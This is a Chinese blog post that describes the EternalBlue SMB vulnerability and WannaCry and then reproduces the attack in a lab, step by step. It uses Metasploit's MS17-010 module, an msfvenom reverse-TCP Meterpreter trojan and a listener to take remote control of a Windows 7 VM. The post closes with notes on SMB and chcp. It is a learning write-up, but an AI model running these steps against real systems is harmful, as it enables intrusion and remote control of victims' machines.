永恒之蓝
简介
永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中
包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子
通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大
型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件,对重要数据造成严重损失。被袭
击的设备被锁定,并索要300比特币赎金。要求尽快支付勒索赎金,否则将删除文件,甚至提出半年后如果
还没支付的穷人可以参加免费解锁的活动。
原理
- 永恒之蓝漏洞通过 TCP 的445和139端口,来利用 SMBv1 和 NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机。只要用户主机开机联网,即可通过该漏洞控制用户的主机。不法分子就能在其电脑或服务器中植入勒索病毒、窃取用户隐私、远程控制木马等恶意程序。
影响范围
Windows XP、 Windows Server 2003、Windows 7、Windows Server 2008、Windows Server2008 R2、等系统
复现过程
- 靶机:win7 虚拟机(192.168.253.130[前半段漏洞利用的IP]/192.168.253.132[后半段换网络IP改变])
- 攻击机:kali (192.168.253.135)
- 靶机关闭win7防火墙及自带的防护功能
先对靶机进行连通性检测(正常),使用nmap扫描,模拟真实环境,可以看见开放445端口。
因为对ms17-010进行复现这里就直接利用msf框架搜索相关模块,存在exploit模块和auxiliary模块,前者负责渗透测试后者用来探测是否存在相关漏洞及能否利用
先使用辅助模块对目标扫描探测,判断靶机是否满足漏洞的使用前提
run之后得到结果如上图,表明靶机满足测试条件。选择exploit模块进行测试,使用show options 查看需要设置的参数并设置好,run之后进行攻击。
攻击成功,返回得到命令终端。使用shell指令模拟对应操作系统的CLI,发现存在字符集乱码使用chcp 65001修改字符集。whoami 查看下为管理员身份,get shell。
基础的漏洞利用到此完成
利用msf进行木马生成,以刚才获得的shell上传木马到目标靶机。
1. 木马生成:
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.253.135 LPORT=6666 -f exe -o /root/Desktop/shell.exe
## -p:指定使用的攻击载荷
## -f:指定文件输出格式
## LHOST:负责监听的主机IP(就选择kali的)
## LPORT:监听主机使用的端口(未被使用过就好,自定义)
## -o:将payload保存到指定的文件路径。
To use retry middleware with Faraday v2.0+, install `faraday-retry` gem
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: /root/Desktop/shell.exe
2. 利用之前的权限上传木马
meterpreter > upload /root/Desktop/she.exe C:/
[*] uploading : /root/Desktop/she.exe -> C:/
[*] uploaded : /root/Desktop/she.exe -> C:/\she.exe
## upload 源文件位置 上传的目标位置
3. 设置监听
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > show options
`//查看各种参数`
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) > set LHOST 192.168.253.132
LHOST => 192.168.253.132
msf6 exploit(multi/handler) > set LpoRT 6666
LpoRT => 6666
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.253.135 yes The listen address (an interface may be specified)
LPORT 6666 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
4. 参数设置号启动监听,等待木马启动。
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.253.135:6666
5. 启动木马(之前获得的权限)
meterpreter > shell
Process 2672 created.
Channel 8 created.
Microsoft Windows [�汾 6.1.7600]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:\Windows\system32>chcp 65001
chcp 65001
Active code page: 65001
C:\Windows\system32>cd ../../
cd ../../
C:\>shell.exe
shell.exe
返回数据
[*] Sending stage (175174 bytes) to 192.168.253.132
[*] Meterpreter session 8 opened (192.168.253.135:6666 -> 192.168.253.132:49180) at 2023-01-07 22:14:57 -0500
至此结束!
补充
SMB协议
简介
SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。
交互流程
① 首先客户端发送一个SMB negprot请求数据报,并列出它所支持的所有SMB协议版本。服务器收到请求信息后响应请求,并列出希望使用的协议版本。如果没有可使用的协议版本则返回0XFFFFH,结束通信。
② 协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SesssetupX请求数据报实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后服务器通过发送一个SesssetupX应答数据报来允许或拒绝本次连接。
③ 当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问网络资源的名称,之后服务器会发送一个TconX应答数据报以表示此次连接是否被接受或拒绝。
④ 连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。
关于chcp
-
chcp 65001是一句cmd指令,用来把终端的字符集编码切换成UTF-8(65001)
-
CHCP是一个计算机指令,能够显示或设置活动代码页编号。
常用的字符集编码:
字符集编码 描述
65001 UTF-8
950 繁体中文
936 简体中文默认的GBK
** 第一次写博客,若有不足之处请大家多多指点**